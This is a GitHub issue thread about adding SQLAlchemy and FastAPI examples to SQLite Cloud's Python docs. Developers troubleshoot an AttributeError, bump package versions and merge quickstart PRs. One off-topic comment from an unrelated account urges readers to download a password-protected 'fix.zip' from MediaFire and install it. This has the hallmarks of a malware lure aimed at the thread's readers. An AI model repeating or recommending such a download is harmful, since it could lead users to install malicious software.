docs / add sqlalchemy to python docs

[jacobprall]

Page to update -> https://github.com/sqlitecloud/docs/blob/main/sqlite-cloud/sdks/python/introduction.mdx
@danielebriggi -> Add demo of connecting, querying, and writing to/updating database
@jacobprall -> add context on pandas section and sqlalchemy section

[deverchettychandrashekar]

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[unatarajan]

I'm currently building an example using FastAPI/ SQLAlchemy to connect to my chinook.sqlite database in SQLite Cloud. I keep getting this error: AttributeError: module 'sqlitecloud.dbapi2' has no attribute 'sqlite_version_info'.

It may be the SQLAlchemy implementation, or my project structure/ local Python setup causing this issue. Will huddle with @danielebriggi this week to figure this out.

[danielebriggi]

@jacobprall I took the same example from the readme #93
@unatarajan I answered you on Slack

[unatarajan]

Created/ merged PR with a working example of using SQLAlchemy to interact with SQLite Cloud in the FastAPI framework.

[danielebriggi]

I updated the sqlitecloud to v0.0.83 to include the fix. Can you please test it on FastAPI? thank you!
I also upgraded sqlalchemy-sqlitecloud to v0.1.1 to force to install the >= 0.0.80 version of sqlitecloud otherwise does not work on venv where sqlitecloud was already installed with an older version.

[unatarajan]

I've merged a revised SQLAlchemy/ FastAPI Quickstart PR. Revisions should be up on the Documentation site tomorrow.

Slacking with @danielebriggi about the AttributeError above. The app doesn't run on the first try because of this error, even though we're using the right/ latest sqlitecloud version and importing all dbapi2 attributes. If I restart my IDE and re-run the app, there's no error and the app runs, so the error above is not a blocker but it's not a good DX. Daniele will take a look at my Quickstart tom to try to reproduce the error.

[unatarajan]

To be safe, also quickly checked 2 of the other Python Quickstarts (Django, Flask). They still work fine.